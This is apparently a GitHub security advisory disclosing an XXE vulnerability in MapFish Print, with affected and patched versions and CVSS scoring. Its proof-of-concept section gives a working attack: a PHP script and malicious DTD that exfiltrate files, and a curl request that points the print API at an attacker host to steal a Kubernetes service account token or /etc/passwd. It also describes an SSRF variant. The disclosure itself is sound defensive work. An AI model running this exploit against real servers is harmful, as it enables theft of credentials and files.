Skip to content

XXE on MapFish Print allows reading arbitrary files of certain types

High
sbrunner published GHSA-5v29-34h8-v68r Jun 22, 2026

Package

docker camptocamp/mapfish_print (Docker)

Affected versions

>=3.0.0,<3.28.30
>=3.29.0,<3.30.32
>=3.31.0,<3.31.24
>=3.32.0,<3.33.16
>=3.34.0,<4.0.5

Patched versions

3.28.30
3.30.32
3.31.24
3.33.16
4.0.5
maven org.mapfish.print.print-lib (Maven)
>=3.0.0,<3.28.30
>=3.29.0,<3.30.32
>=3.31.0,<3.31.24
>=3.32.0,<3.33.16
>=3.34.0,<4.0.5
3.28.30
3.30.32
3.31.24
3.33.16
4.0.5
maven org.mapfish.print.print-servlet (Maven)
>=3.0.0,<3.28.30
>=3.29.0,<3.30.32
>=3.31.0,<3.31.24
>=3.32.0,<3.33.16
>=3.34.0,<4.0.5
3.28.30
3.30.32
3.31.24
3.33.16
4.0.5

Description

Summary

XXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs.

I have not re-verified it on the latest version. I initially reported it to NCSC. This is the version I have cloned for code review.

13020c0

Details

To trigger the XXE it is required to host a remote script and dtd file. When using the Print feature its possible to send the attacker server url as url of the gml layer.

The 404 not found path when using the gml Layer will expand the content of the file as path and throw a default 404 with the full content as path.

PoC

Host this php file somewhere as xxe.php:

<?php
$p=$_GET['p'];
$d=dirname($_SERVER['SCRIPT_NAME']);
$u=(empty($_SERVER['HTTPS'])?'http':'https')."://{$_SERVER['HTTP_HOST']}$d/evil.dtd";
header('Content-Type: application/xml');
echo "<?xml version=\"1.0\"?>
<!DOCTYPE x [
 <!ENTITY % payload SYSTEM \"file://$p\">
 <!ENTITY % dtd SYSTEM \"$u\">
 %dtd;
]>
<wfs:FeatureCollection xmlns:wfs=\"http://www.opengis.net/wfs\" xmlns:gml=\"http://www.opengis.net/gml\">
<!-- ".str_repeat('x',200)." -->
<gml:boundedBy><gml:null>unknown</gml:null></gml:boundedBy>
</wfs:FeatureCollection>";

and beneath host this "evil.dtd"

<!ENTITY % exfil "<!ENTITY &#37; error SYSTEM 'file:///xxe-exfil/%payload;'>"> %exfil; %error;

Now send a single curl request against your mapfish print server and include your hosted poc url as gml layer url with the path attached you would like to exfil. It will exfil /var/run/secrets/kubernetes.io/serviceaccount/token (most likely your local test setup wont have it, then just replace the path with /etc/passwd or similar plain files)

curl -sk 'https://mapfish/api/print3/print/mapviewer/buildreport.pdf' \ -H 'Content-Type: application/json' \ -d '{"layout":"1. A4 landscape","attributes":{"printDate":"a","url":"","copyright":"","qrimage":"","map":{"projection":"EPSG:2056","rotation":0,"dpi":96,"center":[2600000,1200000],"scale":100000,"layers":[{"type":"gml","url":"https://attacker.ch/xxe.php?p=/var/run/secrets/kubernetes.io/serviceaccount/token"}]}},"outputFormat":"pdf"}'

Its also noteworthy that when you use just a path with slash in the end /tmp/ for example - it will literally list the files and output this for you.

It is actually also possible to trigger an SSRF and request internal URLs if you'd change the file:// prefix in the dtd to https://

Impact

disclose local files. blind(ish) SSRF (depends on the servers response data)

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

CVE ID

CVE-2026-55848

Weaknesses

Improper Restriction of XML External Entity Reference

The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output. Learn more on MITRE.

Credits